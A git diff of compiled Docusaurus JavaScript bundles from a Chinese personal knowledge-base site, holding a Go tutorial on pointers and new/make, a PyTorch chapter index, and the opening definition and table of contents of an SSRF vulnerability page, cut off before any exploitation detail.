6839\u636e\u5730\u5740\u53d6\u503c\uff09\u3002"]}),"\n",(0,s.jsx)(e.h2,{id:"\u6307\u9488\u5730\u5740\u548c\u6307\u9488\u7c7b\u578b",children:"\u6307\u9488\u5730\u5740\u548c\u6307\u9488\u7c7b\u578b"}),"\n",(0,s.jsxs)(e.p,{children:["\u6bcf\u4e2a\u53d8\u91cf\u5728\u8fd0\u884c\u65f6\u90fd\u62e5\u6709\u4e00\u4e2a\u5730\u5740\uff0c\u8fd9\u4e2a\u5730\u5740\u4ee3\u8868\u53d8\u91cf\u5728\u5185\u5b58\u4e2d\u7684\u4f4d\u7f6e\u3002Go\u8bed\u8a00\u4e2d\u4f7f\u7528",(0,s.jsx)(e.code,{children:"&"}),"\u5b57\u7b26\u653e\u5728\u53d8\u91cf\u524d\u9762\u5bf9\u53d8\u91cf\u8fdb\u884c\u201c\u53d6\u5730\u5740\u201d\u64cd\u4f5c\u3002 Go\u8bed\u8a00\u4e2d\u7684\u503c\u7c7b\u578b\uff08int\u3001float\u3001bool\u3001string\u3001array\u3001struct\uff09\u90fd\u6709\u5bf9\u5e94\u7684\u6307\u9488\u7c7b\u578b\uff0c\u5982\uff1a",(0,s.jsx)(e.code,{children:"*int"}),"\u3001",(0,s.jsx)(e.code,{children:"*int64"}),"\u3001",(0,s.jsx)(e.code,{children:"*string"}),"\u7b49\u3002"]}),"\n",(0,s.jsx)(e.p,{children:"\u53d6\u53d8\u91cf\u6307\u9488\u7684\u8bed\u6cd5\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"ptr := &v // v\u7684\u7c7b\u578b\u4e3aT\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsxs)(e.li,{children:["v:\u4ee3\u8868\u88ab\u53d6\u5730\u5740\u7684\u53d8\u91cf\uff0c\u7c7b\u578b\u4e3a",(0,s.jsx)(e.code,{children:"T"})]}),"\n",(0,s.jsxs)(e.li,{children:["ptr:\u7528\u4e8e\u63a5\u6536\u5730\u5740\u7684\u53d8\u91cf\uff0cptr\u7684\u7c7b\u578b\u5c31\u4e3a",(0,s.jsx)(e.code,{children:"*T"}),"\uff0c\u79f0\u505aT\u7684\u6307\u9488\u7c7b\u578b\u3002*\u4ee3\u8868\u6307\u9488\u3002"]}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\ta := 10\n\tb := &a\n\tfmt.Printf("a:%d ptr:%p\\n", a, &a) // a:10 ptr:0xc00001a078\n\tfmt.Printf("b:%p type:%T\\n", b, b) // b:0xc00001a078 type:*int\n\tfmt.Println(&b) // 0xc00000e018\n}\n'})}),"\n",(0,s.jsxs)(e.p,{children:["\u6211\u4eec\u6765\u770b\u4e00\u4e0b",(0,s.jsx)(e.code,{children:"b := &a"}),"\u7684\u56fe\u793a\uff1a",(0,s.jsx)(e.img,{alt:"\u53d6\u53d8\u91cf\u5730\u5740\u56fe\u793a",src:c(51330).A+"",width:"1358",height:"600"})]}),"\n",(0,s.jsx)(e.h2,{id:"\u6307\u9488\u53d6\u503c",children:"\u6307\u9488\u53d6\u503c"}),"\n",(0,s.jsx)(e.p,{children:"\u5728\u5bf9\u666e\u901a\u53d8\u91cf\u4f7f\u7528&\u64cd\u4f5c\u7b26\u53d6\u5730\u5740\u540e\u4f1a\u83b7\u5f97\u8fd9\u4e2a\u53d8\u91cf\u7684\u6307\u9488\uff0c\u7136\u540e\u53ef\u4ee5\u5bf9\u6307\u9488\u4f7f\u7528*\u64cd\u4f5c\uff0c\u4e5f\u5c31\u662f\u6307\u9488\u53d6\u503c\uff0c\u4ee3\u7801\u5982\u4e0b\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\t//\u6307\u9488\u53d6\u503c\n\ta := 10\n\tb := &a // \u53d6\u53d8\u91cfa\u7684\u5730\u5740\uff0c\u5c06\u6307\u9488\u4fdd\u5b58\u5230b\u4e2d\n\tfmt.Printf("type of b:%T\\n", b)\n\tc := *b // \u6307\u9488\u53d6\u503c\uff08\u6839\u636e\u6307\u9488\u53bb\u5185\u5b58\u53d6\u503c\uff09\n\tfmt.Printf("type of c:%T\\n", c)\n\tfmt.Printf("value of c:%v\\n", c)\n}\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"type of b:*int\ntype of c:int\nvalue of c:10\n"})}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.strong,{children:"\u603b\u7ed3\uff1a"})," \u53d6\u5730\u5740\u64cd\u4f5c\u7b26",(0,s.jsx)(e.code,{children:"&"}),"\u548c\u53d6\u503c\u64cd\u4f5c\u7b26",(0,s.jsx)(e.code,{children:"*"}),"\u662f\u4e00\u5bf9\u4e92\u8865\u64cd\u4f5c\u7b26\uff0c",(0,s.jsx)(e.code,{children:"&"}),"\u53d6\u51fa\u5730\u5740\uff0c",(0,s.jsx)(e.code,{children:"*"}),"\u6839\u636e\u5730\u5740\u53d6\u51fa\u5730\u5740\u6307\u5411\u7684\u503c\u3002"]}),"\n",(0,s.jsx)(e.p,{children:"\u53d8\u91cf\u3001\u6307\u9488\u5730\u5740\u3001\u6307\u9488\u53d8\u91cf\u3001\u53d6\u5730\u5740\u3001\u53d6\u503c\u7684\u76f8\u4e92\u5173\u7cfb\u548c\u7279\u6027\u5982\u4e0b\uff1a"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u5bf9\u53d8\u91cf\u8fdb\u884c\u53d6\u5730\u5740\uff08&\uff09\u64cd\u4f5c\uff0c\u53ef\u4ee5\u83b7\u5f97\u8fd9\u4e2a\u53d8\u91cf\u7684\u6307\u9488\u53d8\u91cf\u3002"}),"\n",(0,s.jsx)(e.li,{children:"\u6307\u9488\u53d8\u91cf\u7684\u503c\u662f\u6307\u9488\u5730\u5740\u3002"}),"\n",(0,s.jsx)(e.li,{children:"\u5bf9\u6307\u9488\u53d8\u91cf\u8fdb\u884c\u53d6\u503c\uff08*\uff09\u64cd\u4f5c\uff0c\u53ef\u4ee5\u83b7\u5f97\u6307\u9488\u53d8\u91cf\u6307\u5411\u7684\u539f\u53d8\u91cf\u7684\u503c\u3002"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.strong,{children:"\u6307\u9488\u4f20\u503c\u793a\u4f8b\uff1a"})}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func modify1(x int) {\n\tx = 100\n}\n\nfunc modify2(x *int) {\n\t*x = 100\n}\n\nfunc main() {\n\ta := 10\n\tmodify1(a)\n\tfmt.Println(a) // 10\n\tmodify2(&a)\n\tfmt.Println(a) // 100\n}\n"})}),"\n",(0,s.jsx)(e.h2,{id:"new\u548cmake",children:"new\u548cmake"}),"\n",(0,s.jsx)(e.p,{children:"\u6211\u4eec\u5148\u6765\u770b\u4e00\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar a *int\n\t*a = 100\n\tfmt.Println(*a)\n\n\tvar b map[string]int\n\tb["\u6c99\u6cb3\u5a1c\u624e"] = 100\n\tfmt.Println(b)\n}\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u6267\u884c\u4e0a\u9762\u7684\u4ee3\u7801\u4f1a\u5f15\u53d1panic\uff0c\u4e3a\u4ec0\u4e48\u5462\uff1f \u5728Go\u8bed\u8a00\u4e2d\u5bf9\u4e8e\u5f15\u7528\u7c7b\u578b\u7684\u53d8\u91cf\uff0c\u6211\u4eec\u5728\u4f7f\u7528\u7684\u65f6\u5019\u4e0d\u4ec5\u8981\u58f0\u660e\u5b83\uff0c\u8fd8\u8981\u4e3a\u5b83\u5206\u914d\u5185\u5b58\u7a7a\u95f4\uff0c\u5426\u5219\u6211\u4eec\u7684\u503c\u5c31\u6ca1\u529e\u6cd5\u5b58\u50a8\u3002\u800c\u5bf9\u4e8e\u503c\u7c7b\u578b\u7684\u58f0\u660e\u4e0d\u9700\u8981\u5206\u914d\u5185\u5b58\u7a7a\u95f4\uff0c\u662f\u56e0\u4e3a\u5b83\u4eec\u5728\u58f0\u660e\u7684\u65f6\u5019\u5df2\u7ecf\u9ed8\u8ba4\u5206\u914d\u597d\u4e86\u5185\u5b58\u7a7a\u95f4\u3002\u8981\u5206\u914d\u5185\u5b58\uff0c\u5c31\u5f15\u51fa\u6765\u4eca\u5929\u7684new\u548cmake\u3002 Go\u8bed\u8a00\u4e2dnew\u548cmake\u662f\u5185\u5efa\u7684\u4e24\u4e2a\u51fd\u6570\uff0c\u4e3b\u8981\u7528\u6765\u5206\u914d\u5185\u5b58\u3002"}),"\n",(0,s.jsx)(e.h3,{id:"new",children:"new"}),"\n",(0,s.jsx)(e.p,{children:"new\u662f\u4e00\u4e2a\u5185\u7f6e\u7684\u51fd\u6570\uff0c\u5b83\u7684\u51fd\u6570\u7b7e\u540d\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func new(Type) *Type\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u5176\u4e2d\uff0c"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"Type\u8868\u793a\u7c7b\u578b\uff0cnew\u51fd\u6570\u53ea\u63a5\u53d7\u4e00\u4e2a\u53c2\u6570\uff0c\u8fd9\u4e2a\u53c2\u6570\u662f\u4e00\u4e2a\u7c7b\u578b"}),"\n",(0,s.jsx)(e.li,{children:"*Type\u8868\u793a\u7c7b\u578b\u6307\u9488\uff0cnew\u51fd\u6570\u8fd4\u56de\u4e00\u4e2a\u6307\u5411\u8be5\u7c7b\u578b\u5185\u5b58\u5730\u5740\u7684\u6307\u9488\u3002"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"new\u51fd\u6570\u4e0d\u592a\u5e38\u7528\uff0c\u4f7f\u7528new\u51fd\u6570\u5f97\u5230\u7684\u662f\u4e00\u4e2a\u7c7b\u578b\u7684\u6307\u9488\uff0c\u5e76\u4e14\u8be5\u6307\u9488\u5bf9\u5e94\u7684\u503c\u4e3a\u8be5\u7c7b\u578b\u7684\u96f6\u503c\u3002\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\ta := new(int)\n\tb := new(bool)\n\tfmt.Printf("%T\\n", a) // *int\n\tfmt.Printf("%T\\n", b) // *bool\n\tfmt.Println(*a) // 0\n\tfmt.Println(*b) // false\n}\t\n'})}),"\n",(0,s.jsxs)(e.p,{children:["\u672c\u8282\u5f00\u59cb\u7684\u793a\u4f8b\u4ee3\u7801\u4e2d",(0,s.jsx)(e.code,{children:"var a *int"}),"\u53ea\u662f\u58f0\u660e\u4e86\u4e00\u4e2a\u6307\u9488\u53d8\u91cfa\u4f46\u662f\u6ca1\u6709\u521d\u59cb\u5316\uff0c\u6307\u9488\u4f5c\u4e3a\u5f15\u7528\u7c7b\u578b\u9700\u8981\u521d\u59cb\u5316\u540e\u624d\u4f1a\u62e5\u6709\u5185\u5b58\u7a7a\u95f4\uff0c\u624d\u53ef\u4ee5\u7ed9\u5b83\u8d4b\u503c\u3002\u5e94\u8be5\u6309\u7167\u5982\u4e0b\u65b9\u5f0f\u4f7f\u7528\u5185\u7f6e\u7684new\u51fd\u6570\u5bf9a\u8fdb\u884c\u521d\u59cb\u5316\u4e4b\u540e\u5c31\u53ef\u4ee5\u6b63\u5e38\u5bf9\u5176\u8d4b\u503c\u4e86\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func main() {\n\tvar a *int\n\ta = new(int)\n\t*a = 10\n\tfmt.Println(*a)\n}\n"})}),"\n",(0,s.jsx)(e.h3,{id:"make",children:"make"}),"\n",(0,s.jsx)(e.p,{children:"make\u4e5f\u662f\u7528\u4e8e\u5185\u5b58\u5206\u914d\u7684\uff0c\u533a\u522b\u4e8enew\uff0c\u5b83\u53ea\u7528\u4e8eslice\u3001map\u4ee5\u53cachannel\u7684\u5185\u5b58\u521b\u5efa\uff0c\u800c\u4e14\u5b83\u8fd4\u56de\u7684\u7c7b\u578b\u5c31\u662f\u8fd9\u4e09\u4e2a\u7c7b\u578b\u672c\u8eab\uff0c\u800c\u4e0d\u662f\u4ed6\u4eec\u7684\u6307\u9488\u7c7b\u578b\uff0c\u56e0\u4e3a\u8fd9\u4e09\u79cd\u7c7b\u578b\u5c31\u662f\u5f15\u7528\u7c7b\u578b\uff0c\u6240\u4ee5\u5c31\u6ca1\u6709\u5fc5\u8981\u8fd4\u56de\u4ed6\u4eec\u7684\u6307\u9488\u4e86\u3002make\u51fd\u6570\u7684\u51fd\u6570\u7b7e\u540d\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func make(t Type, size ...IntegerType) Type\n"})}),"\n",(0,s.jsx)(e.p,{children:"make\u51fd\u6570\u662f\u65e0\u53ef\u66ff\u4ee3\u7684\uff0c\u6211\u4eec\u5728\u4f7f\u7528slice\u3001map\u4ee5\u53cachannel\u7684\u65f6\u5019\uff0c\u90fd\u9700\u8981\u4f7f\u7528make\u8fdb\u884c\u521d\u59cb\u5316\uff0c\u7136\u540e\u624d\u53ef\u4ee5\u5bf9\u5b83\u4eec\u8fdb\u884c\u64cd\u4f5c\u3002\u8fd9\u4e2a\u6211\u4eec\u5728\u4e0a\u4e00\u7ae0\u4e2d\u90fd\u6709\u8bf4\u660e\uff0c\u5173\u4e8echannel\u6211\u4eec\u4f1a\u5728\u540e\u7eed\u7684\u7ae0\u8282\u8be6\u7ec6\u8bf4\u660e\u3002"}),"\n",(0,s.jsxs)(e.p,{children:["\u672c\u8282\u5f00\u59cb\u7684\u793a\u4f8b\u4e2d",(0,s.jsx)(e.code,{children:"var b map[string]int"}),"\u53ea\u662f\u58f0\u660e\u53d8\u91cfb\u662f\u4e00\u4e2amap\u7c7b\u578b\u7684\u53d8\u91cf\uff0c\u9700\u8981\u50cf\u4e0b\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u4e00\u6837\u4f7f\u7528make\u51fd\u6570\u8fdb\u884c\u521d\u59cb\u5316\u64cd\u4f5c\u4e4b\u540e\uff0c\u624d\u80fd\u5bf9\u5176\u8fdb\u884c\u952e\u503c\u5bf9\u8d4b\u503c\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar b map[string]int\n\tb = make(map[string]int, 10)\n\tb["\u6c99\u6cb3\u5a1c\u624e"] = 100\n\tfmt.Println(b)\n}\n'})}),"\n",(0,s.jsx)(e.h3,{id:"new\u4e0emake\u7684\u533a\u522b",children:"new\u4e0emake\u7684\u533a\u522b"}),"\n",(0,s.jsxs)(e.ol,{children:["\n",(0,s.jsx)(e.li,{children:"\u4e8c\u8005\u90fd\u662f\u7528\u6765\u505a\u5185\u5b58\u5206\u914d\u7684\u3002"}),"\n",(0,s.jsx)(e.li,{children:"make\u53ea\u7528\u4e8eslice\u3001map\u4ee5\u53cachannel\u7684\u521d\u59cb\u5316\uff0c\u8fd4\u56de\u7684\u8fd8\u662f\u8fd9\u4e09\u4e2a\u5f15\u7528\u7c7b\u578b\u672c\u8eab\uff1b"}),"\n",(0,s.jsx)(e.li,{children:"\u800cnew\u7528\u4e8e\u7c7b\u578b\u7684\u5185\u5b58\u5206\u914d\uff0c\u5e76\u4e14\u5185\u5b58\u5bf9\u5e94\u7684\u503c\u4e3a\u7c7b\u578b\u96f6\u503c\uff0c\u8fd4\u56de\u7684\u662f\u6307\u5411\u7c7b\u578b\u7684\u6307\u9488\u3002"}),"\n"]})]})}function h(n={}){const{wrapper:e}={...(0,l.R)(),...n.components};return e?(0,s.jsx)(e,{...n,children:(0,s.jsx)(o,{...n})}):o(n)}},28453:(n,e,c)=>{c.d(e,{R:()=>t,x:()=>r});var i=c(96540);const s={},l=i.createContext(s);function t(n){const e=i.useContext(l);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function r(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(s):n.components||s:t(n.components),i.createElement(l.Provider,{value:e},n.children)}},51330:(n,e,c)=>{c.d(e,{A:()=>i});const i=c.p+"assets/images/ptr-d47d5c0edcbd2dea9b0c9ce19934c45c.png"}}]); \ No newline at end of file diff --git a/en/assets/js/f14803dd.f22c7d72.js b/en/assets/js/f14803dd.f22c7d72.js new file mode 100644 index 0000000..b6eb042 --- /dev/null +++ b/en/assets/js/f14803dd.f22c7d72.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2871],{28453:(e,t,n)=>{n.d(t,{R:()=>c,x:()=>i});var r=n(96540);const s={},l=r.createContext(s);function c(e){const t=r.useContext(l);return r.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:c(e.components),r.createElement(l.Provider,{value:t},e.children)}},55377:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>d,contentTitle:()=>i,default:()=>a,frontMatter:()=>c,metadata:()=>r,toc:()=>o});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/README","title":"\u7b2c\u4e8c\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"1.3 PyTorch\u76f8\u5173\u8d44\u6e90.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90"},"next":{"title":"2.1 \u5f20\u91cf.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf"}}');var s=n(74848),l=n(28453);const c={},i="\u7b2c\u4e8c\u7ae0",d={},o=[];function h(e){const t={code:"code",h1:"h1",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"\u7b2c\u4e8c\u7ae0",children:"\u7b2c\u4e8c\u7ae0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:13"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 18:22:04"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"\u7b2c\u4e8c\u7ae0pytorch\u57fa\u7840\u77e5\u8bc6",children:"\u7b2c\u4e8c\u7ae0\uff1aPyTorch\u57fa\u7840\u77e5\u8bc6"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n2.1 \u5f20\u91cf\n2.2 \u81ea\u52a8\u6c42\u5bfc\n2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb\n2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907\n"})})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/f4778df5.61ebf4e5.js b/en/assets/js/f4778df5.61ebf4e5.js new file mode 100644 index 0000000..644b756 --- /dev/null +++ b/en/assets/js/f4778df5.61ebf4e5.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8920],{9364:(e,n,i)=>{i.r(n),i.d(n,{assets:()=>s,contentTitle:()=>r,default:()=>o,frontMatter:()=>h,metadata:()=>l,toc:()=>c});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SSRF/README","title":"SSRF\u6f0f\u6d1e","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/03.SSRF/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/03.SSRF","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SSRF/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SSRF/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/03.SSRF/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"02.XSSWithRelativePathOverwrite.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSWithRelativePathOverwrite"},"next":{"title":"PathScan","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/PathScan"}}');var p=i(74848),t=i(28453);const h={},r="SSRF\u6f0f\u6d1e",s={},c=[{value:"\u6f0f\u6d1e\u4ecb\u7ecd",id:"\u6f0f\u6d1e\u4ecb\u7ecd",level:2},{value:"\u6f0f\u6d1e\u539f\u7406",id:"\u6f0f\u6d1e\u539f\u7406",level:2},{value:"\u6f0f\u6d1e\u5229\u7528",id:"\u6f0f\u6d1e\u5229\u7528",level:2},{value:"\u5185\u7f51\u8bbf\u95ee",id:"\u5185\u7f51\u8bbf\u95ee",level:3},{value:"PHP\u4f2a\u534f\u8bae\u5229\u7528",id:"php\u4f2a\u534f\u8bae\u5229\u7528",level:3},{value:"1.php://\u534f\u8bae",id:"1php\u534f\u8bae",level:4},{value:"php://filter",id:"phpfilter",level:5},{value:"php://input",id:"phpinput",level:5},{value:"php://output",id:"phpoutput",level:5},{value:"php://memory&php://temp",id:"phpmemoryphptemp",level:5},{value:"php://fd",id:"phpfd",level:5},{value:"2.file://\u534f\u8bae",id:"2file\u534f\u8bae",level:4},{value:"3.phar://\u534f\u8bae",id:"3phar\u534f\u8bae",level:4},{value:"4.zlib://\u534f\u8bae",id:"4zlib\u534f\u8bae",level:4},{value:"5.data://\u534f\u8bae",id:"5data\u534f\u8bae",level:4},{value:"6.phar\u548czip",id:"6phar\u548czip",level:4},{value:"CVE-2024-2961",id:"cve-2024-2961",level:3},{value:"Gopher",id:"gopher",level:3},{value:"Dict",id:"dict",level:3},{value:"CVE-2021-21287",id:"cve-2021-21287",level:3}];function d(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",h5:"h5",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,t.R)(),...e.components};return(0,p.jsxs)(p.Fragment,{children:[(0,p.jsx)(n.header,{children:(0,p.jsx)(n.h1,{id:"ssrf\u6f0f\u6d1e",children:"SSRF\u6f0f\u6d1e"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,p.jsxs)(n.table,{children:[(0,p.jsx)(n.thead,{children:(0,p.jsxs)(n.tr,{children:[(0,p.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,p.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,p.jsx)(n.tbody,{children:(0,p.jsxs)(n.tr,{children:[(0,p.jsx)(n.td,{style:{textAlign:"left"},children:(0,p.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,p.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:32:16"})]})})]}),"\n",(0,p.jsx)(n.h2,{id:"\u6f0f\u6d1e\u4ecb\u7ecd",children:"\u6f0f\u6d1e\u4ecb\u7ecd"}),"\n",(0,p.jsxs)(n.p,{children:[(0,p.jsx)(n.strong,{children:"SSRF"}),"\uff1a\u5168\u79f0 Server-Side Request Forgery\uff0c\u5373 \u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020\u3002\u662f\u4e00\u4e2a\u7531\u653b\u51fb\u8005\u6784\u9020\u8bf7\u6c42\uff0c\u5728\u76ee\u6807\u670d\u52a1\u7aef\u6267\u884c\u7684\u4e00\u4e2a\u5b89\u5168\u6f0f\u6d1e\u3002\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u8be5\u6f0f\u6d1e\u4f7f\u670d\u52a1\u5668\u7aef\u5411\u653b\u51fb\u8005\u6784\u9020\u7684\u4efb\u610f\u57df\u53d1\u51fa\u8bf7\u6c42\uff0c\u76ee\u6807\u901a\u5e38\u662f\u4ece\u5916\u7f51\u65e0\u6cd5\u8bbf\u95ee\u7684\u5185\u90e8\u7cfb\u7edf\u3002\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u5229\u7528\u670d\u52a1\u5668\u6f0f\u6d1e\u4ee5\u670d\u52a1\u5668\u7684\u8eab\u4efd\u53d1\u9001\u4e00\u6761\u6784\u9020\u597d\u7684\u8bf7\u6c42\u7ed9\u670d\u52a1\u5668\u6240\u5728\u5185\u7f51\u8fdb\u884c\u653b\u51fb\u3002"]}),"\n",(0,p.jsx)(n.h2,{id:"\u6f0f\u6d1e\u539f\u7406",children:"\u6f0f\u6d1e\u539f\u7406"}),"\n",(0,p.jsxs)(n.p,{children:["SSRF\u5168\u79f0\u4e3aServer-side Request 